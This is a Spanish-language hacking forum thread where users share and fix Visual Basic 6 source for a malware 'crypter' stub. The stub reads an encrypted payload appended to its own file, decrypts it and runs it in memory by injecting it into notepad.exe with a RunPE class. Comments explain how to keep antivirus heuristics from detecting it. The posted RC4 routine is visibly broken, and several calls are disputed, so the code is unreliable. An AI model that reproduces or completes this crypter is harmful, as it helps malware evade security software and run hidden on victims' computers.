Recuerda que es un Módulo de Clase asi que primero tienes que definir una variable:irux escribió:pero seria nlfpkgnrj yo, strconv(datosss(1),vbfromunicode),vbnullstring???
Dim C As New Class1 'o el nombre del modulo de clase
Private Sub Form_Load()
C.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe"), "C:\windows\system32\notepad.exe"
End Sub
'se me olvido añadir esta funcion perdon
Public Function LoadExe(ByVal sPath As String) As Byte()
Dim bvTmp() As Byte
Open sPath For Binary As #1
ReDim bvTmp(LOF(1) - 1)
Get #1, , bvTmp
Close #1
LoadExe = bvTmp
End Function
Código: Seleccionar todo
C.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe", StrConv(sData(1), vbFromUnicode), vbNullString)
@quotecobein escribió:Vamos a aclarar un poco las cosas, la modificacion que Karcrack hizo fue reemplazar varias de las llamadas a kernel32 por las de ntdll y la modificacion de SqUeEzEr fue cambiar RtlMoveMemory por vbaCopyBytes.
El modulo lo hice yo y si requiere de al menos una api para poder copiar bytes.
kerberos5 escribió:Perdone la pregunta .... Me encantó la clase y formar un Crypter básicos y la sintaxis para iniciar el ejecutable se debe esto, pero me da error de compilación.
Código: Seleccionar todo
C.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe", StrConv(sData(1), vbFromUnicode), vbNullString)
Debria funcionar ahoraC.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe"), StrConv(sData(1), vbFromUnicode)
share the source.... i use the simple crypter of skyweb...do you understand is the error?D@rB-15 escribió:kerberos5 escribió:Perdone la pregunta .... Me encantó la clase y formar un Crypter básicos y la sintaxis para iniciar el ejecutable se debe esto, pero me da error de compilación.
Código: Seleccionar todo
C.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe", StrConv(sData(1), vbFromUnicode), vbNullString)Debria funcionar ahoraC.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe"), StrConv(sData(1), vbFromUnicode)
Código: Seleccionar todo
'MODULO STUBX :
'PD: Quite el Formulario Principal para que el Stub pese menos pero ustedes pueden Dejarlo y hacerlo con el Form!
'Lo primero que haremos sera autoabrirnos Binariamente y leer los datos que se nos han puesto!
Sub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe" 'Aqui solo declaramos esta String para no tener que estar poniendo eso tan largo cada vez que lo usemos!
Open YO For Binary As #1 'Nos Autoabrimos!
Datos = Space(LOF(1)) 'Obtenemos Los datos de El Stub
Get #1, , Datos
Close #1 'Nos cerramos xD!
'Ahora ya hemos obtenido los datos del Stub Pero Lo que obtenemos en verdad es
' Stub & Archivo encriptado por lo que usaremos el Delimitador que antes pusimos para separar esos datos y poder Utilizarlos!
sData() = Split(Datos, "##$$##") 'Aki lo que hacemos es delimitar los Archivos es decir
'sData(0) = Stub sData(1) = Archivo Encriptado !
'Por lo que ahora agregamos el RunPe que se utiliza para Ejecutar un Archivo cualquiera directamente en Memoria que eso es lo que hace que sea RunTime porque no necesita
'extraerese en ningun directorio sino que va directo a la memoria! ;)
'COmo veran ahi esta el RunPE sin Encriptar por lo que ustedes tendran que hacerse para encriptar todos los Strings que estan entre las "" menos las APIS por suspuesto para evitar que ls Antiirus Detecten las APIS por Heuristica!
'Bueno Ahora lo que haremos es desencriptar los archivos para despues ejecutarnos en Memoria!
'sData(2) = Contraseña definida por el usuario!
sData(1) = RC4(sData(1), sData(2)) 'Aki cogemos los datos encriptados y los desencriptamos!
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString 'Nos ejecutamos en memoria convirtiendo esos datos desde Unicode!
'Pues ya esta encriptado todo y hecho el Stub Ahora solo lo Guardamos y Compilamos haber que pasa!
'Para que el Stub pese menos podemos compilarlo en P-Code lo que hace que el Stub Libere una buena parte de Tamaño y se minimize a 16 o 12 kb
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Código: Seleccionar todo
Sub Main()
Dim YOM As String, info As String, MData1() As String, C As New Class1
YOM = App.Path & StrReverse(StrReverse("\")) & App.EXEName & StrReverse(StrReverse(".exe"))
Open YOM For Binary As #1
info = Space(LOF(1))
Get #1, , info
Close #1
MData1() = Split(info, StrReverse("#^$=#$/"))
MData1(1) = RC4(MData1(1), StrReverse("321aloh"))
C.RunPE LoadExe(App.Path & "\" & App.EXEName & ".exe"), "C:\windows\system32\notepad.exe"
End Sub
